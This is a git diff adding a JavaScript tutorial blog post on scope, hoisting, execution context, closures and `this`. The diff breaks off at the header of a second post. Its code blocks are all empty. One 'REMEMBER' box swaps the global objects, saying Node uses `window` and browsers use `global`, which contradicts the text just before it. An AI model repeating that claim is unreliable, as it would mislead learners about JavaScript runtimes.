+categories:
+  - src/data/categories/ds-algo.yaml
+  - src/data/categories/javascript.yaml
+tags:
+  - src/data/tags/array.yaml
+  - src/data/tags/data-structures-algorithms.yaml
+show_author_bio: true
+related_posts:
+  - src/pages/blog/intro-01-data-structures.md
+cmseditable: true
+---
+<!--StartFragment-->
+
+“JavaScript’s global scope is like a public toilet. You can’t avoid going in there, but try to limit your contact with surfaces when you do.”\
+― **Dmitry Baranowski**
+
+# Prerequisites
+
+* creating and initializing a variable
+* creating a function
+* invoking a function
+* logging to the console
+
+
+
+# Vocab (most of these will be detailed many times over in this article!)
+
+* **Scope:** “Scope is the set of rules that determines where and how a variable (identifier) can be looked-up.” — Kyle Simpson, You Don’t Know JS: Scope & Closure
+* **Function Scope:** Every variable defined in a function, is available for the entirety of that function.
+* **Global Scope:** “The scope that is visible in all other scopes.” — MDN
+* **Global Variable:** A variable defined at the Global Scope.
+* **IIFE:** Imediatly-Invoked Function Expression — a function wrapped in `()` to create an expression, and immediatly followed by a pair of `()` to invoke that function imediatly.
+* **Closure:** “Closures are functions that refer to independent (free) variables. In other words, the function defined in the closure ‘remembers’ the environment in which it was created.” — MDN
+* **Variable Shadowing:** “occurs when a variable declared within a certain scope … has the same name as a variable declared in an outer scope.” — Wikipedia
+* **for statement:** “The for statement creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a statement or a set of statements executed in the loop.” — MDN
+* **initialization:** “An expression (including assignment expressions) or variable declaration. Typically used to initialize a counter variable. This expression may optionally declare new variables with the var keyword. These variables are not local to the loop, i.e. they are in the same scope the for loop is in. The result of this expression is discarded.” — MDN
+* **condition:** “An expression to be evaluated before each loop iteration. If this expression evaluates to true, statement is executed. This conditional test is optional. If omitted, the condition always evaluates to true. If the expression evaluates to false, execution skips to the first expression following the for construct.” — MDN
+* **final-expression:** “An expression to be evaluated at the end of each loop iteration. This occurs before the next evaluation of condition. Generally used to update or increment the counter variable.” — MDN
+* **statement:** “A statement that is executed as long as the condition evaluates to true. To execute multiple statements within the loop, use a block statement ({ … }) to group those statements.” — MDN
+* **Arrays:** “JavaScript arrays are used to store multiple values in a single variable.” — W3Schools
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/1_A1vTM5TdeUhUIfWxemwUEw.png)
+
+## I am going to try something new this article… it’s called **spaced repetition.**
+
+> “S**[paced repetition](https://en.wikipedia.org/wiki/Spaced_repetition)** is an [evidence-based learning](https://en.wikipedia.org/wiki/Evidence-based_learning) technique that is usually performed with [flashcards](https://en.wikipedia.org/wiki/Flashcard). Newly introduced and more difficult flashcards are shown more frequently, while older and less difficult flashcards are shown less frequently in order to exploit the psychological [spacing effect](https://en.wikipedia.org/wiki/Spacing_effect). The use of spaced repetition has been proven to increase rate of learning.”
+
+## [Spaced repetition — Wikipedia](https://en.wikipedia.org/wiki/Spaced_repetition)
+
+### [Spaced repetition is an evidence-based learning technique that is usually performed with flashcards. Newly introduced…](https://en.wikipedia.org/wiki/Spaced_repetition)
+
+[en.wikipedia.org](https://en.wikipedia.org/wiki/Spaced_repetition)
+
+# CodePen For You To Practice With:
+
+Open it in another tab… it will only display the html file that existed when I pasted it into this article… for access to the JavaScript file and the most up to date html page you need to Open the sandbox… feel free to create a fork of it if you like!
+
+[Scope](https://scopeclosurecontext.netlify.app/Main-Article_files/media(1).html)
+
+# SCOPE:
+
+* The `scope` of a program in JS is the set of variables that are available for use within the program.
+* Scope in JavaScript defines which variables and functions you have access to, depending on where you are (a *physical position*) within your code.
+* The current context of execution. The context in which [values](https://developer.mozilla.org/en-US/docs/Glossary/Value) and **expressions** are “visible” or can be referenced. If a **[variable](https://developer.mozilla.org/en-US/docs/Glossary/Variable)** or other expression is not “in the current scope,” then it is unavailable for use. Scopes can also be layered in a hierarchy, so that child scopes have access to parent scopes, but not vice versa.
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/1_RaM-5KbhUOZ_HoP5j-kNWQ.png)
+
+* A **[function](https://developer.mozilla.org/en-US/docs/Glossary/Function)** serves as a **closure** in [JavaScript](https://developer.mozilla.org/en-US/docs/Glossary/JavaScript), and thus creates a scope, so that (for example) a variable defined exclusively within the function cannot be accessed from outside the function or within other functions:<https://developer.mozilla.org/en-US/docs/Glossary/Scope>
+* In [computer programming](https://en.wikipedia.org/wiki/Computer_programming), the **scope** of a [name binding](https://en.wikipedia.org/wiki/Name_binding) — an association of a name to an entity, such as a [variable](https://en.wikipedia.org/wiki/Variable_(programming)) — is the part of a [program](https://en.wikipedia.org/wiki/Computer_program) where the name binding is valid, that is where the name can be used to refer to the entity. In other parts of the program the name may refer to a different entity (it may have a different binding), or to nothing at all (it may be unbound). The scope of a name binding is also known as the **visibility** of an entity, particularly in older or more technical literature — this is from the perspective of the referenced entity, not the referencing name:[https://en.wikipedia.org/wiki/Scope_(computer_science)](https://en.wikipedia.org/wiki/Scope_(computer_science))
+
+**Advantages of utilizing scope**
+
+* `Security` : Adds security by ensuring variables can only be access by pre-defined parts of our program.
+* `Reduced Variable Name Collisions` : Restricts re-using variable names; helps prevent overwriting variable names.
+
+# Lexical Scope
+
+Lexical scope is the ability of the inner function to access the outer scope in which it is defined.
+
+[JSFiddle](https://scopeclosurecontext.netlify.app/Main-Article_files/media(2).html)
+
+* `Lexing Time` : When you run a piece of JS code that is parsed before it is run.
+* *Lexical environment* is a place where variables and functions live during the program execution.
+
+[JSFiddle](https://scopeclosurecontext.netlify.app/Main-Article_files/media(3).html)
+
+# Different Variables in JavaScript
+
+* *A variable always evaluates to the value it contains no matter how you declare it.*
+
+**The different ways to declare variables**
+
+* `let` : can be re-assigned; block-scoped.
+* `const` : no re-assignment; block scoped.
+* `var` : May or may not be re-assigned; scoped to a function.
+
+**Hoisting and Scoping with Variables**
+
+`Hoisting` is a JavaScript mechanism where variables and function declarations are moved to the top of their scope before code execution.
+
+# Slightly modified excerpt from:
+
+## [source](https://ui.dev/ultimate-guide-to-execution-contexts-hoisting-scopes-and-closures-in-javascript/) : https://ui.dev/ultimate-guide-to-execution-contexts-hoisting-scopes-and-closures-in-javascript/
+
+The first *Execution Context* ( a word that we don’t have to worry about the exact meaning of yet) that gets created when the JavaScript engine runs your code is called the “Global Execution Context”.
+
+Initially this Execution Context will consist of two things —
+
+* **a global object**
+
+> ***and***
+
+* ***a* variable called** `this`.
+
+> By default the`this` keyword will act as a reference to global object which will be `window` if you’re running JavaScript in the browser or `global` if you’re running it in a Node environment.
+
+# REMEMBER:
+
+> Node: `this` references a global object called ***window*** (like the window that comprises the content of a tab in chrome)
+>
+> Browsers:`this` references a global object called ***global***
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_NMGRtcYlwffqSUSH.png)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_NMGRtcYlwffqSUSH(1).png)
+
+Above we can see that even without any code, the Global Execution Context will still consist of two things — `window` and `this`. This is the Global Execution Context in its most basic form.
+
+Let’s step things up and see what happens when we start actually adding code to our program. Let’s start with adding a few variables.
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_P8DG5hIKJO7thsnz.png)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_P8DG5hIKJO7thsnz(1).png)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_J9juq03-KlcKReSF.png)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_J9juq03-KlcKReSF(1).png)
+
+The key take away is that each Execution Context has two separate phases, a `Creation` phase and an `Execution` phase and each phase has its own unique responsibilities.
+
+# Exaction Context:
+
+## Execution Context ≠(NOT EQUAL)≠≠≠Scope
+
+1. The **global execution context** is created ***before*** any code is executed.
+2. Whenever a function is *executed* invoked (this means the function is told to run… i.e. after the doSomething function has been declared … calling ‘doSomething()’, a **new execution context** gets created.
+3. **Every** execution context provides `this` keyword, which points to an **object** to which the current code that’s being executed belongs.
+
+For more info read about [Event Queue and Call Stack](https://medium.com/@Rahulx1/understanding-event-loop-call-stack-event-job-queue-in-javascript-63dcd2c71ecd)
+
+## More formal definition from: [Misa Ogura’s article on the subject](https://codeburst.io/js-demystified-04-execution-context-97dea52c8ac6)
+
+In JavaScript, **execution context** is an abstract concept that holds *information about the environment* within which the current code is being executed.
+
+**Remember**: the JavaScript engine creates the global execution context before it starts to execute any code. From that point on, a new execution context gets created *every time* a function is executed, as the engine parses through your code. In fact, the global execution context is nothing special. It’s just like any other execution context, except that it gets created by default.
+
+In the Global `Creation` phase, the JavaScript engine will
+
+1. Create a global object.
+2. Create an object called “this”.
+3. Set up memory space for variables and functions.
+4. Assign variable declarations a default value of “undefined” while placing any function declarations in memory.
+
+**It’s not until the** `Execution` **phase where the JavaScript engine starts running your code line by line and executing it.**
+
+We can see this flow from`Creation` **phase to** `Execution` **phase** in the GIF **below.** 🠗🠗🠗🠗🠗🠗
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_QHJcijvusr0_rqAH.gif)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_QHJcijvusr0_rqAH(1).gif)
+
+During the `Creation` phase:
+
+**The JavaScript engine said ‘let there be** `window` **and** `this`‘
+
+> and there was `window` and `this`… and it was good
+
+Once the `window` and `this` are created;
+
+Variable declarations are assigned a default value of `undefined`
+
+Any function declarations (`getUser`) are placed entirely into memory.
+
+**Exaction Phase:**
+
+Then once we enter the `Execution` phase, the JavaScript engine starts executing the code line by line and assigns the real values to the variables already living in memory.
+
+[scope.js](https://scopeclosurecontext.netlify.app/Main-Article_files/ec407d1bccb1850899d0d2164428e6da.html)
+
+# **Function-Scoped Variables**
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/1_blt2vI9_uDtV7_pM9Cclkg.png)
+
+Function scope means that parameters and variables defined in a function are visible everywhere within the function, but are not visible outside of the function.
+
+Consider the next function that auto-executes, called IIFE.
+
+```
+
+```
+
+IIFE stands for Immediately Invoked Function Expression and is a function that runs immediately after its definition.
+
+Variables declared with `var` have only function scope. Even more, variables declared with `var` are hoisted to the top of their scope. This way they can be accessed before being declared. Take a look at the code below:
+
+```
+
+```
+
+This does not happen for `let`. A variable declared with `let` can be accessed only after its definition.
+
+```
+
+```
+
+A variable declared with `var` can be re-declared multiple times in the same scope. The following code is just fine:
+
+```
+
+```
+
+Variables declared with `let` or `const` cannot be re-declared in the same scope:
+
+```
+
+```
+
+Maybe we don’t even have to care about this, as `var` has started to become obsolete.
+
+* Only the var keyword creates function-scoped variables (however a var declared variable may be globally scoped if it is declared outside of a nested function in the global scope), this means our declared var keyword variable will be confined to the scope of our current function.
+
+[var-is-trash.js](https://scopeclosurecontext.netlify.app/Main-Article_files/d37e35654bd67bc00839b23595209050.html)
+
+Why you shouldn’t use var:
+
+1. No error is thrown if you declare the same variable twice using var (conversely, both let and const will throw an error if a variable is declared twice)
+2. Variables declared with var are not block scoped (although they are function scoped), while with let and const they are. This is important because what’s the point of block scoping if you’re not going to use it. So using var in this context would require a situation in which a variable declared inside a function would need to be used in the global scope. I’m not able to think of any situations where that would be absolutely necessary, but perhaps they exist.
+
+[magic.js](https://scopeclosurecontext.netlify.app/Main-Article_files/fc75059b6abf27124918631000c98b92.html)
+
+# REMEMBER:
+
+# Var===🗑🚮👎🏽🤮
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_wseqGvDH8TpNBGq9)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_wseqGvDH8TpNBGq9(1))
+
+**My response to anyone who might comment in defense of using var**
+
+> Also on a more serious note… if you have var in your projects in 2021 …hiring managers who peek at your projects to see your code quality will assume it was copy pasted from someone else’s legacy code circa 2014.
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_KRoeNth4AXswt_9s.jpg)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_KRoeNth4AXswt_9s(1).jpg)
+
+**Hoisting with function-scoped variables**
+
+```
+
+```
+
+* Even though we initially declared & initialized our variable underneath the console.log var variables are “hoisted” to the top, but only in declaration (default value undefined until the exaction arrives at the line on which it was initialized.
+
+# Scope Spaced Repetition:
+
+Scope is defined as which variables we currently have access to and where. So far in this course, we have mostly been working in `global` scope, in that we can access any variable we have created, anywhere in our code. There are a couple different levels of scope: `block` level scope is used in `if` statements and `for` loops. In `block` level scope, a variable declared using either `let` or `const` is only available within the statement or loop (like `i` in a `for` loop). Similarly, there is function scope, where `temperature` exists inside the function, but not elsewhere in your code file.
+
+# More on hoisting:
+
+## source:[ *Hoisting in Modern JavaScript — let, const, and var*](https://blog.bitsrc.io/hoisting-in-modern-javascript-let-const-and-var-b290405adfda)
+
+```
+
+```
+
+Function declarations are added to the memory during the compile stage, so we are able to access it in our code before the actual function declaration
+
+When the JavaScript engine encounters a call to `helloWorld()`, it will look into the lexical environment, finds the function and will be able to execute it.
+
+# Hoisting Function Expressions
+
+Only function declarations are hoisted in JavaScript, function expressions are not hoisted. For example: this code won’t work.
+
+```
+
+```
+
+As JavaScript only hoist declarations, not initializations (assignments), so the `helloWorld `will be treated as a variable, not as a function. Because `helloWorld` is a `var` variable, so the engine will assign is the `undefined` value during hoisting.
+
+So this code will work.
+
+```
+
+```
+
+# Hoisting var variables:
+
+Let’s look at some examples to understand hoisting in case of `var` variables.
+
+```
+
+```
+
+We expected `3` but instead got `undefined`. Why?
+
+Remember JavaScript only hoist declarations, not initializations*.* That is, during compile time, JavaScript only stores function and variabledeclarations in the memory, not their assignments (value).
+
+**But why** `undefined`**?**
+
+When JavaScript engine finds a `var` variable declaration during the compile phase, it will add that variable to the lexical environment and initialize it with `undefined` and later during the execution when it reaches the line where the actual assignment is done in the code, it will assign that value to the variable.
+
+# **Block-Scoped Variables**
+
+Things that create block-scopes:
+
+* If Statements
+* While Loops
+* Switch Statements
+* For Loops
+* Curly Boiz **‘{}’ ….. anything between cury brackets is scoped to within those brackets.**
+
+## **Properties of Const declared variables:**
+
+* **They are block-scoped like let.**
+* JS will enforce constants by raising an error if you try to change them.
+* Constants that are assigned to [Reference Types](https://bryanguner.medium.com/fundamental-javascript-concepts-you-should-understand-81c4d839b827) are **[mutable](https://doesitmutate.xyz/)**
+
+**Hoisting with block-scoped variables**
+
+* Unlike vars in function scopes,
+* let and const in their block scopes **do not get their declarations hoisted.**
+* Instead they are not initialized until their definitions are evaluated instead of undefined we will get an error.
+* `Temporal Dead Zone` **: The time before a let or const variable is declared.**
+
+**Function Scope vs Block Scope**
+
+* The downside of the flexibility of var is that it can easily overwrite previously declared variables.
+* The block-scope limitations of let and const were introduced to easily avoid accidentally overwriting variable values.
+
+# **Global Variables**
+
+* Any variables declared without a declaration term will be considered `global scope`.
+* Every time a variable is declared on the global scope, the change of collision increases.
+* Use the proper declarations to manage your code: Avoid being a sloppy programmer!
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_hpZDzz--eVsA-3o7.png)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_hpZDzz--eVsA-3o7(1).png)
+
+Variables defined outside any function, block, or module scope have global scope. Variables in global scope can be accessed from everywhere in the application.
+
+When a module system is enabled it’s harder to make global variables, but one can still do it. By defining a variable in HTML, outside any function, a global variable can be created:
+
+When there is no module system in place, it is a lot easier to create global variables. A variable declared outside any function, in any file, is a global variable.
+
+Global variables are available for the lifetime of the application.
+
+Another way for creating a global variable is to use the `window` global object anywhere in the application:
+
+```
+
+```
+
+At this point, the `GLOBAL_DATA` variable is visible everywhere.
+
+```
+
+```
+
+As you can imagine these practices are bad practices.
+
+## \*Module scope
+
+Before modules, a variable declared outside any function was a global variable. In modules, a variable declared outside any function is hidden and not available to other modules unless it is explicitly exported.
+
+Exporting makes a function or object available to other modules. In the next example, I export a function from the `sequence.js` module file:
+
+```
+
+```
+
+Importing makes a function or object, from other modules, available to the current module.
+
+```
+
+```
+
+In a way, we can imagine a module as a self-executing function that takes the import data as inputs and returns the export data.
+
+# Closures
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_r5JXVTIjV1nztgKN.jpg)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_r5JXVTIjV1nztgKN(1).jpg)
+
+***[Calculating Closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures)***
+
+* **Closure** : The combination of a function and the lexical environment within which that function is declared.
+* **Use** : A closure is when an inner function uses, or changes, variables in an outer function.
+* Very important for creativity, flexibility, and security of your code.
+* `Lexical Environment` : Consists of any variables available within the scope in which a closure was declared (local inner, outer, and global).
+
+# **Closures and Scope** Basic Closure Rules:
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_iyFQ5y0LysnsrvOc.png)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_iyFQ5y0LysnsrvOc(1).png)
+
+* Closures have access to all variables in it’s lexical environment.
+* A closure will keep reference to all the variables when it was defined **even if the outer function has returned**.
+
+**Applications of Closures**
+
+* **Private State**
+* JS does not have a way of declaring a function as exclusively private, however we can use closures to make a private state.
+* **Passing Arguments Implicitly**
+* We can use closures to pass down arguments to helper functions.
+
+[palindrome.js](https://scopeclosurecontext.netlify.app/Main-Article_files/86f3263238cf64059f10fd25483cb0c2.html)
+
+# OVERVIEW
+
+Let’s look at the Window/Console in a browser/node environment. Type `window` to your chrome console. JavaScript is executed in this context, also known as the `global scope`.
+
+There are two types of scope in javascript, `Global Vs. Local` and that this is important to understand in terms of a computer program written in JavaScript.
+
+When a function is declared and created, a new `scope` is also created. Any variables declared within that function's scope will be `enclosed` in a lexical/private scope that belongs to that function. Also, it is important to remember that functions look `outward` for context. If some variable isn't defined in a function's scope, the function will look outside the scope chain and search for a variable being referenced in the outer scope. This is what closure is all about.
+
+In it’s most simplest of forms this is a closure:
+
+```
+
+```
+
+The function body (code inside returnFoo) has access to the outside scope (code outside of returnFoo) and can access that ‘foo’ variable.
+
+Let’s look at another example:
+
+```
+
+```
+
+Not much different than the idea presented above, but the thought remains the same. When ‘greet’ is called, it has no context in its local scope of finding `lastName` so, it looks outside its scope to find it and use the `lastName` that is found there.
+
+Let’s take this a step further. In the given examples, we’ve seen that we have created two environments for our code. The first would be the global environment where `lastName` and `greet` exist. The second would be the local environment where the alert function is called. Let's represent those two environments like this:
+
+[global.js](https://scopeclosurecontext.netlify.app/Main-Article_files/c06ff8d72c2c0be207dc8bf5b29fc0fa.html)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_fpIwHvwpDYxatfE9.png)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_fpIwHvwpDYxatfE9(1).png)
+
+# What is a closure?
+
+A closure is an inner function that has access to the outer (enclosing) function’s variables — scope chain. The closure has three scope chains: it has access to its own scope (variables defined between its curly brackets), it has access to the outer function’s variables, and it has access to the global variables.
+
+The inner function has access not only to the outer function’s variables, but also to the outer function’s parameters. Note that the inner function cannot call the outer function’s arguments object, however, even though it can call the outer function’s parameters directly.
+
+You create a closure by adding a function inside another function.
+
+**A Basic Example:**
+
+[showname.js](https://scopeclosurecontext.netlify.app/Main-Article_files/2eeea3ec36e978a9219c4a090527d42f.html)
+
+# Scope chain
+
+Every scope has a link to the parent scope. When a variable is used, JavaScript looks down the scope chain until it either finds the requested variable or until it reaches the global scope, which is the end of the scope chain.
+
+# Context in JavaScript
+
+* `Scope` : Refers to the visibility and availability of variables.
+* `Context` : Refers to the value of the `this` keyword when code is executed.
+
+# `this` **?**
+
+* `This` : Keyword that exists in every function and evaluates to the object that is currently invoking that function.
+* **Method-Style Invocation** : syntax goes like `object.method(arg)`. (i.e. array.push, str.toUpperCase()
+* `Context` refers to the value of this within a function and `this` refers to where a function is invoked.
+
+**Issues with Scope and Context**
+
+* If `this` is called using normal function style invocation, our output will be the contents of the global object.
+
+**When Methods have an Unexpected Context**
+
+[unexpectedContext.js](https://scopeclosurecontext.netlify.app/Main-Article_files/aeebe7cd75e4f537c3167fc6a562b7fc.html)
+
+* In the above example we get undefined when we assign our this function to a variable bc there is no obj to reference except the global one!
+
+**Strictly Protecting the Global Object**
+
+We can run JS in strict mode by tagging `use strict` at the top of our program.
+
+* If we try to invoke this on our global function in strict mode we will no longer be able to access it and instead just get undefined.
+
+**Changing Context using Bind**
+
+“The simplest use of `bind()` is to make a function that, no matter how it is called, is called with a particular this value".
+
+[bind.js](https://scopeclosurecontext.netlify.app/Main-Article_files/fcb13ae4fe7fe4e702dcb2d3e96b4ad7.html)
+
+**Binding with Arguments**
+
+* We can also use bind() to bind arguments to a function.
+
+[binding-w-args.js](https://scopeclosurecontext.netlify.app/Main-Article_files/3fd083c7ef51313978eddc918ba29230.html)
+
+# Arrow Functions (Fat Arrows)
+
+side note … if you don’t know what this means ignore it… but if you write an arrow function that utilizes an implicit return… that’s roughly equivalent to what is referred to as a lambda function in other languages.
+
+* `=>` : A more concise way of declaring a function and also considers the behavior of `this` and context.
+
+**Arrow Functions Solving Problems**
+
+[arrow.js](https://scopeclosurecontext.netlify.app/Main-Article_files/3acad311a03aa40489486bdcb20526ac.html)
+
+As you can see the arrow function is shorter and easier to read.
+
+**Anatomy of an Arrow Function**
+
+* If there is only a single parameter there is no need to add parenthesis before the arrow function.
+* However if there are zero parameters then you must add an empty set of parentheses.
+
+**Single Expression Arrow Functions**
+
+* Arrow functions, *unlike* normal functions, carry over context, binding `this` lexically.
+* Value of `this` inside an arrow function is not dependent on how it is invoked.
+* Because arrow functions already have a *bound context*, you can’t reassign `this`.
+
+## Phewh… that’s a lot… let’s go over some of that again!
+
+# Block Scope Review:
+
+Block scope is defined with curly braces. It is separated by `{` and `}`.
+
+Variables declared with `let` and `const` can have block scope. They can only be accessed in the block in which they are defined.
+
+Consider the next code that emphasizes `let` block scope:
+
+```
+
+```
+
+In contrast, the `var` declaration has no block scope:
+
+```
+
+```
+
+# Closures Spaced Repetition
+
+**1. Closures have access to the outer function’s variable even after the outer function returns:**
+
+One of the most important and ticklish features with closures is that the inner function still has access to the outer function’s variables even after the outer function has returned. Yep, you read that correctly. When functions in JavaScript execute, they use the same scope chain that was in effect when they were created. This means that even after the outer function has returned, the inner function still has access to the outer function’s variables. Therefore, you can call the inner function later in your program. This example demonstrates:
+
+[celeb.js](https://scopeclosurecontext.netlify.app/Main-Article_files/da48af04df518107a10622871a5cb334.html)
+
+**2. Closures store references to the outer function’s variables:**
+
+They do not store the actual value. Closures get more interesting when the value of the outer function’s variable changes before the closure is called. And this powerful feature can be harnessed in creative ways, such as this private variables example first demonstrated by Douglas Crockford:
+
+[celebID.js](https://scopeclosurecontext.netlify.app/Main-Article_files/7f8f76b7bf178c71a9fc56e6a389688b.html)
+
+**3. Closures Gone Awry**
+
+Because closures have access to the updated values of the outer function’s variables, they can also lead to bugs when the outer function’s variable changes with a for loop. Thus:
+
+[bad.js](https://scopeclosurecontext.netlify.app/Main-Article_files/ac113895bd047df20ff40ac95f63b36c.html)
+
+Using a closure! What’s a closure exactly? it’s a word we use to refer to the context of a given function. Normally our function starts from scratch every time we run it. However, if we were to return a function from `addOne()` that referenced `counter`, counter would become part of the context of that new function, even after `addOne()` finishes executing. This is easier to see in code than to explain in words:
+
+[create-addr.js](https://scopeclosurecontext.netlify.app/Main-Article_files/9c51e7dbb948e8bf84afecde02bd04a8.html)
+
+This works! we only reinstantiate counter when `createAdder()` is called, but it's value gets updated whenever the function it returns is called.
+
+> We say that this inner function is closed around the variable `counter`
+>
+> Definition*: (According to MDN) A closure is the combination of a function and the lexical environment within which that function was declared.*
+
+# Global Scope Spaced Repetition:
+
+Scope in JavaScript works like it does in most languages. If something is defined at the root level, that’s global scope — we can *access (and modify)* that variable from anywhere. If it’s a function we defined, we can *call* it from anywhere.
+
+# The Problem with Global Scope
+
+So it seems we should declare all of our variables at the global scope.
+
+> Why could this be a problem?
+
+[global-problem.js](https://scopeclosurecontext.netlify.app/Main-Article_files/89d317f1c60a22adf85ebd0fc04a41eb.html)
+
+It seems reasonable to want `counter` to *only* be accessed/modified through our `addOne()` function, but if our variable is defined within the global scope, we can't enforce this.
+
+This may not seem like a major concern — we can just make sure we don’t access it directly. However as a codebase grows, especially with more than one programmer, it becomes hard to enforce such rules simply by convention. What we want is to have some form of encapsulation — i.e. the data our function relies on is *completely* contained within the logic of that function — *it’s the only door in or out!*
+
+[addOne.js](https://scopeclosurecontext.netlify.app/Main-Article_files/ae55a6112c9232cdb33013d0163c6d45.html)
+
+# Inner Scope
+
+OK, this seems to work as expected, however
+
+> What about inside of our `addOne()` function?
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_hCP3tX_zDtTQLRQT.png)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_hCP3tX_zDtTQLRQT(1).png)
+
+Every function creates it’s own local scope. Compared to it’s context (i.e. *where* our function is defined), we call this the inner scope. Our function can access/modify anything outside of it’s scope, so the body of our function, `{ counter++; }`, has an effect that persists in the outside scope.
+
+> What about the other way around? Can global scope modify inner scope?
+
+[addOne2.js](https://scopeclosurecontext.netlify.app/Main-Article_files/568619807308b003548ce05b61731298.html)
+
+Because `counter` is *defined* within our function's scope, it doesn't exist within the global scope, so referencing it there doesn't make sense.
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_K-GktN0XO2Gw6BPK.png)
+
+![](https://scopeclosurecontext.netlify.app/Main-Article_files/0_K-GktN0XO2Gw6BPK(1).png)
+
+# Context vs. Scope
+
+The first important thing to clear up is that context and scope are not the same. I have noticed many developers over the years often confuse the two terms (myself included), incorrectly describing one for the other. To be fair, the terminology has become quite muddled over the years.
+
+Every function invocation has both a scope and a context associated with it. Fundamentally, scope is function-based while context is object-based. In other words, scope pertains to the variable access of a function when it is invoked and is unique to each invocation. Context is always the value of the `this` keyword which is a reference to the object that "owns" the currently executing code.
+
+# Variable Scope
+
+A variable can be defined in either local or global scope, which establishes the variables’ accessibility from different scopes during runtime. Any defined global variable, meaning any variable declared outside of a function body will live throughout runtime and can be accessed and altered in any scope. Local variables exist only within the function body of which they are defined and will have a different scope for every call of that function. There it is subject for value assignment, retrieval, and manipulation only within that call and is not accessible outside of that scope.
+
+ECMAScript 6 (ES6/ES2015) introduced the `let` and `const` keywords that support the declaration of block scope local variables. This means the variable will be confined to the scope of a block that it is defined in, such as an `if` statement or `for` loop and will not be accessible outside of the opening and closing curly braces of the block. This is contrary to `var` declarations which are accessible outside blocks they are defined in. The difference between `let` and `const` is that a `const` declaration is, as the name implies, constant - a read-only reference to a value. This does not mean the value is immutable, just that the variable identifier cannot be reassigned.
+
+# What is “this” Context
+
+Context is most often determined by how a function is invoked. When a function is called as a method of an object, `this` is set to the object the method is called on:
+
+[this.js](https://scopeclosurecontext.netlify.app/Main-Article_files/4be06db812ab7e132eb973b05755c780.html)
+
+The same principle applies when invoking a function with the `new` operator to create an instance of an object. When invoked in this manner, the value of `this` within the scope of the function will be set to the newly created instance:
+
+[new,js](https://scopeclosurecontext.netlify.app/Main-Article_files/00cab0c367fb339ca9398d1e0e56ecb6.html)
+
+When called as an unbound function, `this` will default to the global context or window object in the browser. However, if the function is executed in *strict mode*, the context will default to undefined.
+
+# Execution Context Spaced Repetition:
+
+JavaScript is a single threaded language, meaning only one task can be executed at a time. When the JavaScript interpreter initially executes code, it first enters into a global execution context by default. Each invocation of a function from this point on will result in the creation of a new execution context.
+
+This is where confusion often sets in, the term “execution context” is actually for all intents and purposes referring more to scope and not context as previously discussed. It is an unfortunate naming convention, however it is the terminology as defined by the ECMAScript specification, so we’re kinda stuck with it.
+
+Each time a new execution context is created it is appended to the top of the *execution stack*. The browser will always execute the current execution context that is atop the execution stack. Once completed, it will be removed from the top of the stack and control will return to the execution context below.
+
+An execution context can be divided into a creation and execution phase. In the creation phase, the interpreter will first create a *variable object* (also called an *activation object*) that is composed of all the variables, function declarations, and arguments defined inside the execution context. From there the *scope chain* is initialized next, and the value of `this` is determined last. Then in the execution phase, code is interpreted and executed.
+
+\-[source](https://javascript.info/closure)
+
+# Conclusion
+
+Variables defined in global scope are available everywhere in the application.
+
+In a module, a variable declared outside any function is hidden and not available to other modules unless it is explicitly exported.
+
+Function scope means that parameters and variables defined in a function are visible everywhere within the function
+
+Variables declared with `let` and `const` have block scope. `var` doesn’t have block scope.
+
+CITAIONS:
+
+## 1.) JavaScript [Scope Context and ‘this’ under the hood](https://medium.com/@marjanrab/javascript-scope-context-and-this-under-the-hood-43c32033c9f9)
+
+## 2.) MDN [Content Repo:](https://github.com/mdn/content)
+
+## 3.) The Ultimate [Guide to Hoisting, Scopes, and Closures in JavaScript](https://ui.dev/ultimate-guide-to-execution-contexts-hoisting-scopes-and-closures-in-javascript/)
+
+## 4.) Deep [dive into Scope Chains and Closures](https://www.freecodecamp.org/news/deep-dive-into-scope-chains-and-closures-21ee18b71dd9/)
+
+## 5.) A [Simple Explanation of JavaScript Closures](https://dmitripavlutin.com/simple-explanation-of-javascript-closures/)
+
+<!--EndFragment-->
\ No newline at end of file
diff --git a/src/pages/blog/what-is-a-web-developer.md b/src/pages/blog/what-is-a-web-developer.md
new file mode 100644
index 0000000000..640a2b3e10
--- /dev/null
+++ b/src/pages/blog/what-is-a-web-developer.md
@@ -0,0 +1,277 @@
+---
+title: What Is a Web Developer?
+template: post
+subtitle: A website can have anywhere from a single person to an entire team
+  behind it, but at minimum, it needs a web developer. These people write the
+  code that gets a website working and visible on the world wide web.
+excerpt: A website can have anywhere from a single person to an entire team
+  behind it, but at minimum, it needs a web developer. These people write the
+  code that gets a website working and visible on the world wide web.
+date: 2022-06-06T21:37:03.789Z
+image: /blog/banner.jpg
+thumb_image: /blog/banner.jpg
+image_position: right
+author: src/data/authors/bgoonz.yaml
+categories:
+  - src/data/categories/html.yaml
+  - src/data/categories/css.yaml
+  - src/data/categories/gatsbyjs.yaml
+  - src/data/categories/google.yaml
+  - src/data/categories/git.yaml
